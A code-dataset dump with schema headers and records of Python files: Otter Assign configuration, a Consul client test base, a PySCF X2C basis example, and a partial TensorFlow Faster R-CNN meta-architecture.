blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
sequencelengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
sequencelengths
1
1
author_id
stringlengths
1
132
da356d75f23ebfcf6946500fd41a68c246eea276
81c5323d6a456479d32c9a2a2b9ab61484dd7922
/otter/assign/assignment.py
08268d910774520e7367ea051f584d5f325ad4fe
[ "BSD-3-Clause" ]
permissive
fperez/otter-grader
c488f339fa6db8577c09bbcba22d919519fb3fb5
6c9ded064b7c8bbd115d8ab54330f4400a564b17
refs/heads/master
2023-07-27T16:33:33.392295
2021-08-26T18:12:18
2021-08-26T18:12:18
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,348
py
"""Assignment configurations for Otter Assign""" import yaml from .constants import BLOCK_QUOTE from .utils import get_source, get_spec from ..utils import convert_config_description_dict _DEFAULT_ASSIGNMENT_CONFIGURATIONS_WITH_DESCRIPTIONS = [ { "key": "requirements", "description": "the path to a requirements.txt file", "default": None, }, { "key": "overwrite_requirements", "description": "whether to overwrite Otter's default requirement.txt in Otter Generate", "default": False, }, { "key": "environment", "description": "the path to a conda environment.yml file", "default": None, }, { "key": "run_tests", "description": "whether to run the assignment tests against the autograder notebook", "default": True, }, { "key": "solutions_pdf", "description": "whether to generate a PDF of the solutions notebook", "default": False, }, { "key": "template_pdf", "description": "whether to generate a filtered Gradescope assignment template PDF", "default": False, }, { "key": "init_cell", "description": "whether to include an Otter initialization cell in the output notebooks", "default": True, }, { "key": "check_all_cell", "description": "whether to include an Otter check-all cell in the output notebooks", "default": True, }, { "key": "export_cell", "description": "whether to include an Otter export cell in the output notebooks", "default": [ { "key": "instructions", "description": "additional submission instructions to include in the export cell", "default": "", }, { "key": "pdf", "description": "whether to include a PDF of the notebook in the generated zip file", "default": True, }, { "key": "filtering", "description": "whether the generated PDF should be filtered", "default": True, }, { "key": "force_save", "description": "whether to force-save the notebook with JavaScript (only works in " \ "classic notebook)", "default": False, }, { "key": "run_tests", "description": "whether to run student submissions against local tests during export", "default": False, }, ], }, { "key": "seed", "description": "a seed for intercell seeding", "default": None, }, { "key": "generate", "description": "grading configurations to be passed to Otter Generate as an "\ "otter_config.json; if false, Otter Generate is disabled", "default": False, }, { "key": "save_environment", "description": "whether to save the student's environment in the log", "default": False, }, { "key": "variables", "description": "a mapping of variable names to type strings for serlizing environments", "default": {}, }, { "key": "ignore_modules", "description": "a list of modules to ignore variables from during environment serialization", "default": [], }, { "key": "files", "description": "a list of other files to include in the output directories and autograder", "default": [], }, { "key": "autograder_files", "description": "a list of other files only to include in the autograder", "default": [], }, { "key": "plugins", "description": "a list of plugin names and configurations", "default": [], }, { "key": "test_files", "description": "whether to store tests in separate .py files rather than in the notebook " \ "metadata", "default": False, }, { "key": "colab", "description": "whether this assignment will be run on Google Colab", "default": False, }, ] class Assignment: """ A class that houses configurations for an assignment. Contains a dictionary of default arguments that can be updated in an instance using the ``update()`` method. Functions similarly to an ``AttrDict`` in that keys of the configuration can be accessed as ``assignment.<key>``. To access a configuration value, use the dot syntax. For example, to access the ``generate`` key of an ``Assignment`` instance ``assignment``: .. code-block::python assignment.generate If ``generate`` is present in ``assignment.config``, then the value in that dictionary will be returned. If it is not, the value in ``Assignment.defaults`` will be returned instead. Configurations can also be updated using dot syntax: .. code-block:: python assignment.generate = True If a key not present in ``Assignment.defaults`` is attempted to be accessed or set, an ``AttributeError`` will be thrown. Attributes: config (``dict``): the configurations specific to this assignment; keys in this dictionary are used before the defaults if present. """ defaults = { "master": None, "result": None, "seed_required": False, "_otter_config": None, "lang": None, "_temp_test_dir": None, # path to a temp dir for tests for otter generate **convert_config_description_dict(_DEFAULT_ASSIGNMENT_CONFIGURATIONS_WITH_DESCRIPTIONS), } def __init__(self): self.config = type(self).defaults.copy() def __getattr__(self, attr): if attr in type(self).defaults: return self.config.get(attr, type(self).defaults[attr]) raise AttributeError(f"Assignment has no attribute {attr}") def __setattr__(self, attr, value): if attr == "config": self.__dict__[attr] = value elif attr in type(self).defaults: self.config[attr] = value else: raise AttributeError(f"Assignment has no attribute {attr}") def update(self, config): """ Updates the configuration stored in this assignment using keys and values in the dictionary ``config`` Args: config (``dict``): new configurations """ for k in config.keys(): if k not in self.allowed_configs: raise ValueError(f"Unexpected assignment config: '{k}'") self.config.update(config) @property def is_r(self): """ Whether the language of the assignment is R """ return self.lang == "r" @property def is_python(self): """ Whether the language of the assignment is Python """ return self.lang == "python" @property def is_rmd(self): """ Whether the input file is an RMarkdown document """ return self.master.suffix.lower() == ".rmd" @property def allowed_configs(self): """ The list of allowed configuration keys """ return type(self).defaults.keys() def read_assignment_metadata(cell): """ Return assignment metadata from an assignment cell Args: cell (``nbformat.NotebookNode``): the assignment cell Returns: ``dict``: assignment metadata """ source = get_source(cell) begin_assignment_line = get_spec(source, "assignment") i, lines = begin_assignment_line + 1, [] while source[i].strip() != BLOCK_QUOTE: lines.append(source[i]) i = i + 1 metadata = yaml.full_load('\n'.join(lines)) return metadata def is_assignment_cell(cell): """ Returns whether cell contains BEGIN ASSIGNMENT in a block quote Args: cell (``nbformat.NotebookNode``): notebook cell Returns: ``bool``: whether the current cell is an assignment definition cell """ if cell.cell_type != 'markdown': return False return get_spec(get_source(cell), "assignment") is not None
83e5c5465a611338cfc230da42437fe7ef263507
78628a4c5e4b37167b79f3b9072b30a7772d5c44
/tests/base.py
714abff7179532719b0b362d02242c4f08e11feb
[ "BSD-3-Clause" ]
permissive
mdelagrange/consulate
35f8f02b1568a3d70bbcbab9796ffe7fcfc23a0a
312f36245aa43da2e0624e2b53dacd52986061d3
refs/heads/master
2020-12-28T20:09:10.805411
2018-03-13T22:41:46
2018-03-13T22:41:46
38,765,620
0
0
BSD-3-Clause
2018-07-13T19:21:42
2015-07-08T16:20:59
Python
UTF-8
Python
false
false
1,690
py
import functools import json import os import unittest import uuid import httmock import consulate from consulate import exceptions with open('testing/consul.json', 'r') as handle: CONSUL_CONFIG = json.load(handle) def generate_key(func): @functools.wraps(func) def _decorator(self, *args, **kwargs): key = str(uuid.uuid4())[0:8] self.used_keys.append(key) func(self, key) return _decorator @httmock.all_requests def raise_oserror(_url_unused, _request): raise OSError class TestCase(unittest.TestCase): def setUp(self): self.consul = consulate.Consul( host=os.environ['CONSUL_HOST'], port=os.environ['CONSUL_PORT'], token=CONSUL_CONFIG['acl_master_token']) self.forbidden_consul = consulate.Consul( host=os.environ['CONSUL_HOST'], port=os.environ['CONSUL_PORT'], token=str(uuid.uuid4())) self.used_keys = list() def tearDown(self): for key in self.consul.kv.keys(): self.consul.kv.delete(key) checks = self.consul.agent.checks() for name in checks: self.consul.agent.check.deregister(checks[name]['CheckID']) services = self.consul.agent.services() for name in services: self.consul.agent.service.deregister(services[name]['ID']) for acl in self.consul.acl.list(): if acl['ID'] == CONSUL_CONFIG['acl_master_token']: continue try: uuid.UUID(acl['ID']) self.consul.acl.destroy(acl['ID']) except (ValueError, exceptions.ConsulateException): pass
5bf2243fd6a0eb7978234834a4fafd6a6e57a05f
9dc6f8d91dc56523b9688990d4ae413b0bcbd4e1
/examples/x2c/02-basis_for_x.py
4789dc7470317b423c53acb4b0634b9b695430ef
[ "Apache-2.0" ]
permissive
sunqm/pyscf
566bc2447d8072cff442d143891c12e6414de01c
dd179a802f0a35e72d8522503172f16977c8d974
refs/heads/master
2023-08-15T18:09:58.195953
2023-03-27T21:02:03
2023-03-27T21:02:03
159,149,096
80
26
Apache-2.0
2022-02-05T00:19:24
2018-11-26T10:10:23
Python
UTF-8
Python
false
false
1,764
py
#!/usr/bin/env python # # Author: Qiming Sun <[email protected]> # ''' X2c method use the uncontracted large component basis to construct the X matrix. The basis for X matrix can have a big impact to the total energy. X2c treatment is not variational. The total energy often increases when the quality of large component basis is improved. This is due to the fact that the X2c ground state is an "excited" state in the framework of full-relativistic spectrum. When X2c Hamiltonian was constructed, the negative states are projected out. Excited state is not bounded from below. Depending on the quality of the basis for large component (which dominates positive states) and small component (which dominates negative states), X2c energy may first decrease then increase when systematically increase the size of basis set. This example shows how to adjust X basis so that you get consistent contributions from X matrix for different large component basis. When the uncertainty of X matrix was removed, you may observe the monotonic energy convergence wrt basis size. ''' from pyscf import gto from pyscf import scf # A combined basis: uncontracted ANO basis plus some steep even-tempered Gaussians xbasis = ('unc-ano', gto.etbs([(0, 8, 1e7, 2.5), # s-function (1, 5, 5e4, 2.5), # p-function (2, 2, 1e3, 2.5)])) # d-function mol = gto.M(atom = 'Zn', basis = 'ccpvdz-dk', ) mf = scf.RHF(mol).x2c() # Assigning a different basis to X matrix mf.with_x2c.basis = xbasis mf.run() mol = gto.M(atom = 'Zn', basis = 'ccpvtz-dk', ) mf = scf.RHF(mol).x2c() mf.with_x2c.basis = xbasis mf.run() mol = gto.M(atom = 'Zn', basis = 'ccpvqz-dk', ) mf = scf.RHF(mol).x2c() mf.with_x2c.basis = xbasis mf.run()
39854d818ae434d3d84942d0bf6812c693099153
4ce2cff60ddbb9a3b6fc2850187c86f866091b13
/tfrecords/src/wai/tfrecords/object_detection/meta_architectures/faster_rcnn_meta_arch.py
7afd52f20650e642b909ff31c1d6a3c8c99e2a43
[ "MIT", "Apache-2.0" ]
permissive
8176135/tensorflow
18cb8a0432ab2a0ea5bacd03309e647f39cb9dd0
2c3b4b1d66a80537f3e277d75ec1d4b43e894bf1
refs/heads/master
2020-11-26T05:00:56.213093
2019-12-19T08:13:44
2019-12-19T08:13:44
228,970,478
0
0
null
2019-12-19T03:51:38
2019-12-19T03:51:37
null
UTF-8
Python
false
false
132,077
py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Faster R-CNN meta-architecture definition. General tensorflow implementation of Faster R-CNN detection models. See Faster R-CNN: Ren, Shaoqing, et al. "Faster R-CNN: Towards real-time object detection with region proposal networks." Advances in neural information processing systems. 2015. We allow for three modes: number_of_stages={1, 2, 3}. In case of 1 stage, all of the user facing methods (e.g., predict, postprocess, loss) can be used as if the model consisted only of the RPN, returning class agnostic proposals (these can be thought of as approximate detections with no associated class information). In case of 2 stages, proposals are computed, then passed through a second stage "box classifier" to yield (multi-class) detections. Finally, in case of 3 stages which is only used during eval, proposals are computed, then passed through a second stage "box classifier" that will compute refined boxes and classes, and then features are pooled from the refined and non-maximum suppressed boxes and are passed through the box classifier again. If number of stages is 3 during training it will be reduced to two automatically. Implementations of Faster R-CNN models must define a new FasterRCNNFeatureExtractor and override three methods: `preprocess`, `_extract_proposal_features` (the first stage of the model), and `_extract_box_classifier_features` (the second stage of the model). Optionally, the `restore_fn` method can be overridden. See tests for an example. A few important notes: + Batching conventions: We support batched inference and training where all images within a batch have the same resolution. Batch sizes are determined dynamically via the shape of the input tensors (rather than being specified directly as, e.g., a model constructor). A complication is that due to non-max suppression, we are not guaranteed to get the same number of proposals from the first stage RPN (region proposal network) for each image (though in practice, we should often get the same number of proposals). For this reason we pad to a max number of proposals per image within a batch. This `self.max_num_proposals` property is set to the `first_stage_max_proposals` parameter at inference time and the `second_stage_batch_size` at training time since we subsample the batch to be sent through the box classifier during training. For the second stage of the pipeline, we arrange the proposals for all images within the batch along a single batch dimension. For example, the input to _extract_box_classifier_features is a tensor of shape `[total_num_proposals, crop_height, crop_width, depth]` where total_num_proposals is batch_size * self.max_num_proposals. (And note that per the above comment, a subset of these entries correspond to zero paddings.) + Coordinate representations: Following the API (see model.DetectionModel definition), our outputs after postprocessing operations are always normalized boxes however, internally, we sometimes convert to absolute --- e.g. for loss computation. In particular, anchors and proposal_boxes are both represented as absolute coordinates. Images are resized in the `preprocess` method. The Faster R-CNN meta architecture has two post-processing methods `_postprocess_rpn` which is applied after first stage and `_postprocess_box_classifier` which is applied after second stage. There are three different ways post-processing can happen depending on number_of_stages configured in the meta architecture: 1. When number_of_stages is 1: `_postprocess_rpn` is run as part of the `postprocess` method where true_image_shapes is used to clip proposals, perform non-max suppression and normalize them. 2. When number of stages is 2: `_postprocess_rpn` is run as part of the `_predict_second_stage` method where `resized_image_shapes` is used to clip proposals, perform non-max suppression and normalize them. In this case `postprocess` method skips `_postprocess_rpn` and only runs `_postprocess_box_classifier` using `true_image_shapes` to clip detections, perform non-max suppression and normalize them. 3. When number of stages is 3: `_postprocess_rpn` is run as part of the `_predict_second_stage` using `resized_image_shapes` to clip proposals, perform non-max suppression and normalize them. Subsequently, `_postprocess_box_classifier` is run as part of `_predict_third_stage` using `true_image_shapes` to clip detections, peform non-max suppression and normalize them. In this case, the `postprocess` method skips both `_postprocess_rpn` and `_postprocess_box_classifier`. """ import abc import functools import tensorflow as tf from wai.tfrecords.object_detection.anchor_generators import grid_anchor_generator from wai.tfrecords.object_detection.builders import box_predictor_builder from wai.tfrecords.object_detection.builders import hyperparams_builder from wai.tfrecords.object_detection.core import box_list from wai.tfrecords.object_detection.core import box_list_ops from wai.tfrecords.object_detection.core import box_predictor from wai.tfrecords.object_detection.core import losses from wai.tfrecords.object_detection.core import model from wai.tfrecords.object_detection.core import standard_fields as fields from wai.tfrecords.object_detection.core import target_assigner from wai.tfrecords.object_detection.utils import ops from wai.tfrecords.object_detection.utils import shape_utils from wai.tfrecords.object_detection.utils import variables_helper slim = tf.contrib.slim _UNINITIALIZED_FEATURE_EXTRACTOR = '__uninitialized__' class FasterRCNNFeatureExtractor(object): """Faster R-CNN Feature Extractor definition.""" def __init__(self, is_training, first_stage_features_stride, batch_norm_trainable=False, reuse_weights=None, weight_decay=0.0): """Constructor. Args: is_training: A boolean indicating whether the training version of the computation graph should be constructed. first_stage_features_stride: Output stride of extracted RPN feature map. batch_norm_trainable: Whether to update batch norm parameters during training or not. When training with a relative large batch size (e.g. 8), it could be desirable to enable batch norm update. reuse_weights: Whether to reuse variables. Default is None. weight_decay: float weight decay for feature extractor (default: 0.0). """ self._is_training = is_training self._first_stage_features_stride = first_stage_features_stride self._train_batch_norm = (batch_norm_trainable and is_training) self._reuse_weights = reuse_weights self._weight_decay = weight_decay @abc.abstractmethod def preprocess(self, resized_inputs): """Feature-extractor specific preprocessing (minus image resizing).""" pass def extract_proposal_features(self, preprocessed_inputs, scope): """Extracts first stage RPN features. This function is responsible for extracting feature maps from preprocessed images. These features are used by the region proposal network (RPN) to predict proposals. Args: preprocessed_inputs: A [batch, height, width, channels] float tensor representing a batch of images. scope: A scope name. Returns: rpn_feature_map: A tensor with shape [batch, height, width, depth] activations: A dictionary mapping activation tensor names to tensors. """ with tf.variable_scope(scope, values=[preprocessed_inputs]): return self._extract_proposal_features(preprocessed_inputs, scope) @abc.abstractmethod def _extract_proposal_features(self, preprocessed_inputs, scope): """Extracts first stage RPN features, to be overridden.""" pass def extract_box_classifier_features(self, proposal_feature_maps, scope): """Extracts second stage box classifier features. Args: proposal_feature_maps: A 4-D float tensor with shape [batch_size * self.max_num_proposals, crop_height, crop_width, depth] representing the feature map cropped to each proposal. scope: A scope name. Returns: proposal_classifier_features: A 4-D float tensor with shape [batch_size * self.max_num_proposals, height, width, depth] representing box classifier features for each proposal. """ with tf.variable_scope( scope, values=[proposal_feature_maps], reuse=tf.AUTO_REUSE): return self._extract_box_classifier_features(proposal_feature_maps, scope) @abc.abstractmethod def _extract_box_classifier_features(self, proposal_feature_maps, scope): """Extracts second stage box classifier features, to be overridden.""" pass def restore_from_classification_checkpoint_fn( self, first_stage_feature_extractor_scope, second_stage_feature_extractor_scope): """Returns a map of variables to load from a foreign checkpoint. Args: first_stage_feature_extractor_scope: A scope name for the first stage feature extractor. second_stage_feature_extractor_scope: A scope name for the second stage feature extractor. Returns: A dict mapping variable names (to load from a checkpoint) to variables in the model graph. """ variables_to_restore = {} for variable in variables_helper.get_global_variables_safely(): for scope_name in [first_stage_feature_extractor_scope, second_stage_feature_extractor_scope]: if variable.op.name.startswith(scope_name): var_name = variable.op.name.replace(scope_name + '/', '') variables_to_restore[var_name] = variable return variables_to_restore class FasterRCNNKerasFeatureExtractor(object): """Keras-based Faster R-CNN Feature Extractor definition.""" def __init__(self, is_training, first_stage_features_stride, batch_norm_trainable=False, weight_decay=0.0): """Constructor. Args: is_training: A boolean indicating whether the training version of the computation graph should be constructed. first_stage_features_stride: Output stride of extracted RPN feature map. batch_norm_trainable: Whether to update batch norm parameters during training or not. When training with a relative large batch size (e.g. 8), it could be desirable to enable batch norm update. weight_decay: float weight decay for feature extractor (default: 0.0). """ self._is_training = is_training self._first_stage_features_stride = first_stage_features_stride self._train_batch_norm = (batch_norm_trainable and is_training) self._weight_decay = weight_decay @abc.abstractmethod def preprocess(self, resized_inputs): """Feature-extractor specific preprocessing (minus image resizing).""" pass @abc.abstractmethod def get_proposal_feature_extractor_model(self, name): """Get model that extracts first stage RPN features, to be overridden.""" pass @abc.abstractmethod def get_box_classifier_feature_extractor_model(self, name): """Get model that extracts second stage box classifier features.""" pass def restore_from_classification_checkpoint_fn( self, first_stage_feature_extractor_scope, second_stage_feature_extractor_scope): """Returns a map of variables to load from a foreign checkpoint. Args: first_stage_feature_extractor_scope: A scope name for the first stage feature extractor. second_stage_feature_extractor_scope: A scope name for the second stage feature extractor. Returns: A dict mapping variable names (to load from a checkpoint) to variables in the model graph. """ variables_to_restore = {} for variable in variables_helper.get_global_variables_safely(): for scope_name in [first_stage_feature_extractor_scope, second_stage_feature_extractor_scope]: if variable.op.name.startswith(scope_name): var_name = variable.op.name.replace(scope_name + '/', '') variables_to_restore[var_name] = variable return variables_to_restore class FasterRCNNMetaArch(model.DetectionModel): """Faster R-CNN Meta-architecture definition.""" def __init__(self, is_training, num_classes, image_resizer_fn, feature_extractor, number_of_stages, first_stage_anchor_generator, first_stage_target_assigner, first_stage_atrous_rate, first_stage_box_predictor_arg_scope_fn, first_stage_box_predictor_kernel_size, first_stage_box_predictor_depth, first_stage_minibatch_size, first_stage_sampler, first_stage_non_max_suppression_fn, first_stage_max_proposals, first_stage_localization_loss_weight, first_stage_objectness_loss_weight, crop_and_resize_fn, initial_crop_size, maxpool_kernel_size, maxpool_stride, second_stage_target_assigner, second_stage_mask_rcnn_box_predictor, second_stage_batch_size, second_stage_sampler, second_stage_non_max_suppression_fn, second_stage_score_conversion_fn, second_stage_localization_loss_weight, second_stage_classification_loss_weight, second_stage_classification_loss, second_stage_mask_prediction_loss_weight=1.0, hard_example_miner=None, parallel_iterations=16, add_summaries=True, clip_anchors_to_image=False, use_static_shapes=False, resize_masks=True, freeze_batchnorm=False): """FasterRCNNMetaArch Constructor. Args: is_training: A boolean indicating whether the training version of the computation graph should be constructed. num_classes: Number of classes. Note that num_classes *does not* include the background category, so if groundtruth labels take values in {0, 1, .., K-1}, num_classes=K (and not K+1, even though the assigned classification targets can range from {0,... K}). image_resizer_fn: A callable for image resizing. This callable takes a rank-3 image tensor of shape [height, width, channels] (corresponding to a single image), an optional rank-3 instance mask tensor of shape [num_masks, height, width] and returns a resized rank-3 image tensor, a resized mask tensor if one was provided in the input. In addition this callable must also return a 1-D tensor of the form [height, width, channels] containing the size of the true image, as the image resizer can perform zero padding. See protos/image_resizer.proto. feature_extractor: A FasterRCNNFeatureExtractor object. number_of_stages: An integer values taking values in {1, 2, 3}. If 1, the function will construct only the Region Proposal Network (RPN) part of the model. If 2, the function will perform box refinement and other auxiliary predictions all in the second stage. If 3, it will extract features from refined boxes and perform the auxiliary predictions on the non-maximum suppressed refined boxes. If is_training is true and the value of number_of_stages is 3, it is reduced to 2 since all the model heads are trained in parallel in second stage during training. first_stage_anchor_generator: An anchor_generator.AnchorGenerator object (note that currently we only support grid_anchor_generator.GridAnchorGenerator objects) first_stage_target_assigner: Target assigner to use for first stage of Faster R-CNN (RPN). first_stage_atrous_rate: A single integer indicating the atrous rate for the single convolution op which is applied to the `rpn_features_to_crop` tensor to obtain a tensor to be used for box prediction. Some feature extractors optionally allow for producing feature maps computed at denser resolutions. The atrous rate is used to compensate for the denser feature maps by using an effectively larger receptive field. (This should typically be set to 1). first_stage_box_predictor_arg_scope_fn: Either a Keras layer hyperparams object or a function to construct tf-slim arg_scope for conv2d, separable_conv2d and fully_connected ops. Used for the RPN box predictor. If it is a keras hyperparams object the RPN box predictor will be a Keras model. If it is a function to construct an arg scope it will be a tf-slim box predictor. first_stage_box_predictor_kernel_size: Kernel size to use for the convolution op just prior to RPN box predictions. first_stage_box_predictor_depth: Output depth for the convolution op just prior to RPN box predictions. first_stage_minibatch_size: The "batch size" to use for computing the objectness and location loss of the region proposal network. This "batch size" refers to the number of anchors selected as contributing to the loss function for any given image within the image batch and is only called "batch_size" due to terminology from the Faster R-CNN paper. first_stage_sampler: Sampler to use for first stage loss (RPN loss). first_stage_non_max_suppression_fn: batch_multiclass_non_max_suppression callable that takes `boxes`, `scores` and optional `clip_window`(with all other inputs already set) and returns a dictionary containing tensors with keys: `detection_boxes`, `detection_scores`, `detection_classes`, `num_detections`. This is used to perform non max suppression on the boxes predicted by the Region Proposal Network (RPN). See `post_processing.batch_multiclass_non_max_suppression` for the type and shape of these tensors. first_stage_max_proposals: Maximum number of boxes to retain after performing Non-Max Suppression (NMS) on the boxes predicted by the Region Proposal Network (RPN). first_stage_localization_loss_weight: A float first_stage_objectness_loss_weight: A float crop_and_resize_fn: A differentiable resampler to use for cropping RPN proposal features. initial_crop_size: A single integer indicating the output size (width and height are set to be the same) of the initial bilinear interpolation based cropping during ROI pooling. maxpool_kernel_size: A single integer indicating the kernel size of the max pool op on the cropped feature map during ROI pooling. maxpool_stride: A single integer indicating the stride of the max pool op on the cropped feature map during ROI pooling. second_stage_target_assigner: Target assigner to use for second stage of Faster R-CNN. If the model is configured with multiple prediction heads, this target assigner is used to generate targets for all heads (with the correct `unmatched_class_label`). second_stage_mask_rcnn_box_predictor: Mask R-CNN box predictor to use for the second stage. second_stage_batch_size: The batch size used for computing the classification and refined location loss of the box classifier. This "batch size" refers to the number of proposals selected as contributing to the loss function for any given image within the image batch and is only called "batch_size" due to terminology from the Faster R-CNN paper. second_stage_sampler: Sampler to use for second stage loss (box classifier loss). second_stage_non_max_suppression_fn: batch_multiclass_non_max_suppression callable that takes `boxes`, `scores`, optional `clip_window` and optional (kwarg) `mask` inputs (with all other inputs already set) and returns a dictionary containing tensors with keys: `detection_boxes`, `detection_scores`, `detection_classes`, `num_detections`, and (optionally) `detection_masks`. See `post_processing.batch_multiclass_non_max_suppression` for the type and shape of these tensors. second_stage_score_conversion_fn: Callable elementwise nonlinearity (that takes tensors as inputs and returns tensors). This is usually used to convert logits to probabilities. second_stage_localization_loss_weight: A float indicating the scale factor for second stage localization loss. second_stage_classification_loss_weight: A float indicating the scale factor for second stage classification loss. second_stage_classification_loss: Classification loss used by the second stage classifier. Either losses.WeightedSigmoidClassificationLoss or losses.WeightedSoftmaxClassificationLoss. second_stage_mask_prediction_loss_weight: A float indicating the scale factor for second stage mask prediction loss. This is applicable only if second stage box predictor is configured to predict masks. hard_example_miner: A losses.HardExampleMiner object (can be None). parallel_iterations: (Optional) The number of iterations allowed to run in parallel for calls to tf.map_fn. add_summaries: boolean (default: True) controlling whether summary ops should be added to tensorflow graph. clip_anchors_to_image: Normally, anchors generated for a given image size are pruned during training if they lie outside the image window. This option clips the anchors to be within the image instead of pruning. use_static_shapes: If True, uses implementation of ops with static shape guarantees. resize_masks: Indicates whether the masks presend in the groundtruth should be resized in the model with `image_resizer_fn` freeze_batchnorm: Whether to freeze batch norm parameters in the first stage box predictor during training or not. When training with a small batch size (e.g. 1), it is desirable to freeze batch norm update and use pretrained batch norm params. Raises: ValueError: If `second_stage_batch_size` > `first_stage_max_proposals` at training time. ValueError: If first_stage_anchor_generator is not of type grid_anchor_generator.GridAnchorGenerator. """ # TODO(rathodv): add_summaries is currently unused. Respect that directive # in the future. super(FasterRCNNMetaArch, self).__init__(num_classes=num_classes) if not isinstance(first_stage_anchor_generator, grid_anchor_generator.GridAnchorGenerator): raise ValueError('first_stage_anchor_generator must be of type ' 'grid_anchor_generator.GridAnchorGenerator.') self._is_training = is_training self._image_resizer_fn = image_resizer_fn self._resize_masks = resize_masks self._feature_extractor = feature_extractor if isinstance(feature_extractor, FasterRCNNKerasFeatureExtractor): # We delay building the feature extractor until it is used, # to avoid creating the variables when a model is built just for data # preprocessing. (This prevents a subtle bug where variable names are # mismatched across workers, causing only one worker to be able to train) self._feature_extractor_for_proposal_features = ( _UNINITIALIZED_FEATURE_EXTRACTOR) self._feature_extractor_for_box_classifier_features = ( _UNINITIALIZED_FEATURE_EXTRACTOR) else: self._feature_extractor_for_proposal_features = None self._feature_extractor_for_box_classifier_features = None self._number_of_stages = number_of_stages self._proposal_target_assigner = first_stage_target_assigner self._detector_target_assigner = second_stage_target_assigner # Both proposal and detector target assigners use the same box coder self._box_coder = self._proposal_target_assigner.box_coder # (First stage) Region proposal network parameters self._first_stage_anchor_generator = first_stage_anchor_generator self._first_stage_atrous_rate = first_stage_atrous_rate self._first_stage_box_predictor_depth = first_stage_box_predictor_depth self._first_stage_box_predictor_kernel_size = ( first_stage_box_predictor_kernel_size) self._first_stage_minibatch_size = first_stage_minibatch_size self._first_stage_sampler = first_stage_sampler if isinstance(first_stage_box_predictor_arg_scope_fn, hyperparams_builder.KerasLayerHyperparams): num_anchors_per_location = ( self._first_stage_anchor_generator.num_anchors_per_location()) if len(num_anchors_per_location) != 1: raise ValueError('anchor_generator is expected to generate anchors ' 'corresponding to a single feature map.') conv_hyperparams = ( first_stage_box_predictor_arg_scope_fn) self._first_stage_box_predictor_first_conv = ( tf.keras.Sequential([ tf.keras.layers.Conv2D( self._first_stage_box_predictor_depth, kernel_size=[self._first_stage_box_predictor_kernel_size, self._first_stage_box_predictor_kernel_size], dilation_rate=self._first_stage_atrous_rate, padding='SAME', name='RPNConv', **conv_hyperparams.params()), conv_hyperparams.build_batch_norm( (self._is_training and not freeze_batchnorm), name='RPNBatchNorm'), tf.keras.layers.Lambda( tf.nn.relu6, name='RPNActivation') ], name='FirstStageRPNFeatures')) self._first_stage_box_predictor = ( box_predictor_builder.build_convolutional_keras_box_predictor( is_training=self._is_training, num_classes=1, conv_hyperparams=conv_hyperparams, freeze_batchnorm=freeze_batchnorm, inplace_batchnorm_update=False, num_predictions_per_location_list=num_anchors_per_location, use_dropout=False, dropout_keep_prob=1.0, box_code_size=self._box_coder.code_size, kernel_size=1, num_layers_before_predictor=0, min_depth=0, max_depth=0, name=self.first_stage_box_predictor_scope)) else: self._first_stage_box_predictor_arg_scope_fn = ( first_stage_box_predictor_arg_scope_fn) def rpn_box_predictor_feature_extractor(rpn_features_to_crop): with slim.arg_scope(self._first_stage_box_predictor_arg_scope_fn()): reuse = tf.get_variable_scope().reuse return slim.conv2d( rpn_features_to_crop, self._first_stage_box_predictor_depth, kernel_size=[self._first_stage_box_predictor_kernel_size, self._first_stage_box_predictor_kernel_size], rate=self._first_stage_atrous_rate, activation_fn=tf.nn.relu6, scope='Conv', reuse=reuse) self._first_stage_box_predictor_first_conv = ( rpn_box_predictor_feature_extractor) self._first_stage_box_predictor = ( box_predictor_builder.build_convolutional_box_predictor( is_training=self._is_training, num_classes=1, conv_hyperparams_fn=self._first_stage_box_predictor_arg_scope_fn, use_dropout=False, dropout_keep_prob=1.0, box_code_size=self._box_coder.code_size, kernel_size=1, num_layers_before_predictor=0, min_depth=0, max_depth=0)) self._first_stage_nms_fn = first_stage_non_max_suppression_fn self._first_stage_max_proposals = first_stage_max_proposals self._use_static_shapes = use_static_shapes self._first_stage_localization_loss = ( losses.WeightedSmoothL1LocalizationLoss()) self._first_stage_objectness_loss = ( losses.WeightedSoftmaxClassificationLoss()) self._first_stage_loc_loss_weight = first_stage_localization_loss_weight self._first_stage_obj_loss_weight = first_stage_objectness_loss_weight # Per-region cropping parameters self._crop_and_resize_fn = crop_and_resize_fn self._initial_crop_size = initial_crop_size self._maxpool_kernel_size = maxpool_kernel_size self._maxpool_stride = maxpool_stride # If max pooling is to be used, build the layer if maxpool_kernel_size: self._maxpool_layer = tf.keras.layers.MaxPooling2D( [self._maxpool_kernel_size, self._maxpool_kernel_size], strides=self._maxpool_stride, name='MaxPool2D') self._mask_rcnn_box_predictor = second_stage_mask_rcnn_box_predictor self._second_stage_batch_size = second_stage_batch_size self._second_stage_sampler = second_stage_sampler self._second_stage_nms_fn = second_stage_non_max_suppression_fn self._second_stage_score_conversion_fn = second_stage_score_conversion_fn self._second_stage_localization_loss = ( losses.WeightedSmoothL1LocalizationLoss()) self._second_stage_classification_loss = second_stage_classification_loss self._second_stage_mask_loss = ( losses.WeightedSigmoidClassificationLoss()) 